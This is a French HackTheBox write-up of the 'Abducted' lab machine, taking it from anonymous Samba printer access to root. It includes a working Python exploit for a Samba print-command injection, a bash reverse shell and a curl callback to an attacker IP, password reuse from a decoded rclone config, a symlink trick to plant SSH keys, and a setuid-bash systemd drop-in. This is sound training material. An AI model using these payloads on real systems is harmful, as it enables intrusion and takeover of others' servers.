Writeup

Abducted

Serveur Samba qui expose un printer en guest. CVE-2026-4480 : le nom du job d'impression atterrit non échappé dans une commande shell, ce qui donne un RCE sans credentials via le pipe spoolss. Ensuite : rclone.conf world-readable avec mot de passe réutilisé, share SMB avec force user + wide links pour planter une authorized_keys, et privesc via drop-in systemd avec polkit.

Platform: HackTheBox
Difficulty: Medium
OS: Linux
Date: 2026-06-22
Focus: CVE-2026-4480 / rclone / wide links / polkit

1. Enumération

Nmap révèle deux services : SSH et Samba. Pas de service web. L'énumération anonyme des shares Samba expose un printer HP-Reception accessible en guest, deux shares disque (projects, transfer) qui rejettent les connexions anonymes, et l'IPC standard.

Scan

nmap -sVC --open -Pn 10.129.28.173

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4

Shares SMB (anonyme)

smbclient -L //10.129.28.173 -N

  HP-Reception    Printer   Reception printer
  projects        Disk      Hartley Group Project Files
  transfer        Disk      Staff file transfer
  IPC$            IPC       IPC Service (Hartley Group Document Services)

Le share printer HP-Reception est le seul accessible sans credentials - c'est le vecteur d'entrée.

2. Foothold - CVE-2026-4480

CVE-2026-4480 est une injection de commande dans le print subsystem de Samba. Quand un job se termine, Samba exécute la commande print command configurée via system(), en substituant %J par le nom du document et %s par le chemin du fichier spool. Aucun échappement n'est appliqué sur %J - c'est le client qui le contrôle.

La commande configurée ici est /usr/local/bin/printaudit %J %s. Avec document_name = "|sh", cela donne :

Commande exécutée côté serveur

/usr/local/bin/printaudit | sh <spoolfile>

Le fichier spool est exécuté comme un script shell. Le corps du spool, c'est ce qu'on envoie via WritePrinter - aucune restriction.

La subtilité : smbclient et smbspool sanitisent les métacaractères shell en _ avant qu'ils n'atteignent le %J. Pour injecter des caractères utiles, il faut parler directement au pipe RPC \pipe\spoolss - c'est exactement ce que font les bindings Python Samba.

Vérification OOB

Avant le reverse shell, confirmation d'exécution via un callback HTTP. On monte un serveur Python et on envoie un job avec curl dans le corps du spool :

Callback HTTP

DATA = b"curl -s http://10.10.17.156:8080/pwned &
"

# Résultat sur le serveur HTTP :
# 10.129.28.173 - "GET /pwned HTTP/1.1" 404 -  ← RCE confirmé

Exploit

exploit.py

from samba.dcerpc import spoolss
from samba.param import LoadParm
from samba.credentials import Credentials

RHOST, LHOST, LPORT = "10.129.28.173", "10.10.17.156", 4444
DATA = ("bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1' &\n" % (LHOST, LPORT)).encode()

lp = LoadParm(); lp.load_default()
creds = Credentials(); creds.guess(lp); creds.set_anonymous()
iface = spoolss.spoolss(r"ncacn_np:%s[\pipe\spoolss]" % RHOST, lp, creds)

h = iface.OpenPrinter("\\\\%s\\HP-Reception" % RHOST, "",
                      spoolss.DevmodeContainer(), 0x00000008)
il = spoolss.DocumentInfo1()
il.document_name = "|sh"    # --> %J --> injection shell
il.output_file   = None
il.datatype      = "RAW"
ctr = spoolss.DocumentInfoCtr(); ctr.level = 1; ctr.info = il

iface.StartDocPrinter(h, ctr)
iface.StartPagePrinter(h)
iface.WritePrinter(h, DATA, len(DATA))
iface.EndPagePrinter(h)
iface.EndDocPrinter(h)       # déclenche l'exécution
iface.ClosePrinter(h)

Résultat

connect to [10.10.17.156] from (UNKNOWN) [10.129.28.173] 55882
nobody@abducted:/var/spool/samba$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

3. nobody -> scott : rclone credentials

Enumération du système depuis le shell nobody. Un répertoire de backup hors-site est configuré dans /opt/offsite-backup/ et le fichier rclone.conf est world-readable.

/opt/offsite-backup/rclone.conf

[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix

rclone n'encrypte pas les mots de passe - il les obscurcit en base64 réversible, et l'outil lui-même peut les déchiffrer :

Décodage

rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
# → iXzvcib3SrpZ

Le mot de passe est réutilisé pour le compte scott en SSH :

SSH scott

ssh scott@10.129.28.173   # password: iXzvcib3SrpZ
uid=1000(scott) gid=1001(scott) groups=1001(scott)

User flag

••••••••••••••••••••••••••••••••Cliquer pour afficher

4. scott -> marcus : force user + wide links

La configuration du share transfer contient deux paramètres clés :

/etc/samba/shares.conf (extrait)

[transfer]
    path = /srv/transfer
    valid users = scott
    force user = marcus
    read only = no
    wide links = yes
    browseable = yes

/etc/samba/smb.conf (global)

unix extensions = no
allow insecure wide links = yes

force user = marcus : toute opération fichier via ce share s'exécute sous l'identité marcus, indépendamment du compte authentifié. wide links = yes couplé à allow insecure wide links : Samba suit les symlinks même s'ils sortent de l'arborescence du share.

Scott est propriétaire de /srv/transfer. Il peut y planter un symlink vers le home de marcus, puis écrire via smbclient - les fichiers créés appartiendront à marcus.

Génération clé SSH + symlink

ssh-keygen -q -t ed25519 -N '' -f /tmp/k

# Symlink /srv/transfer/mh -> /home/marcus
ssh scott@10.129.28.173 'ln -sfn /home/marcus /srv/transfer/mh'

Dépôt authorized_keys via smbclient

smbclient //10.129.28.173/transfer -U 'scott%iXzvcib3SrpZ' \
  -c 'mkdir mh/.ssh; put /tmp/k.pub mh/.ssh/authorized_keys'

# putting file k.pub as mh.sshauthorized_keys

SSH marcus

ssh -i /tmp/k marcus@10.129.28.173
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)

5. marcus -> root : drop-in systemd + polkit

Marcus est membre du groupe operators. Enumération de ce que ce groupe peut modifier :

Répertoire drop-in smbd

ls -ld /etc/systemd/system/smbd.service.d/
drwxrws--- 2 root operators 4096 /etc/systemd/system/smbd.service.d/

Le bit s (setgid) et les droits w pour operators : marcus peut créer des fichiers .conf dans ce répertoire. Tout *.conf dans un .service.d/ est un systemd drop-in - fusionné avec le service au prochain rechargement. smbd tourne en root, donc un ExecStartPre s'exécute en root.

Il reste un problème : écrire le drop-in est inutile si on ne peut pas recharger et redémarrer le service. Vérification des actions polkit disponibles sans authentification :

Enumération polkit

for action in $(pkaction); do
  pkcheck --action-id "$action" --process $$ 2>/dev/null && echo "ALLOWED: $action"
done

ALLOWED: org.freedesktop.systemd1.reload-daemon
# + règle conditionnelle sur smbd.service :
# systemctl restart smbd  → autorisé sans mot de passe

Les deux conditions sont réunies : écriture du drop-in + restart autorisé. Le drop-in copie bash avec le bit setuid root avant que smbd ne démarre :

Drop-in systemd

cat > /etc/systemd/system/smbd.service.d/override.conf <<'EOF'
[Service]
ExecStartPre=/bin/cp /bin/bash /tmp/.rb
ExecStartPre=/bin/chmod 4755 /tmp/.rb
EOF

systemctl daemon-reload
systemctl restart smbd

Résultat

ls -la /tmp/.rb
-rwsr-xr-x 1 root root 1446024 /tmp/.rb

/tmp/.rb -p -c 'id'
uid=1001(marcus) gid=1002(marcus) euid=0(root) groups=1002(marcus),1000(operators)

Root flag

••••••••••••••••••••••••••••••••Cliquer pour afficher

Récap

  • Recon : SSH + Samba, share printer HP-Reception accessible en guest
  • CVE-2026-4480 : pipe spoolss direct, document_name="|sh", corps du spool = reverse shell → nobody
  • rclone.conf world-readable, rclone revealiXzvcib3SrpZ réutilisé SSH → scott
  • SMB transfer : force user=marcus + wide links, symlink + authorized_keys → marcus
  • Groupe operators : drop-in smbd.service.d + polkit autorise restart → setuid bash → root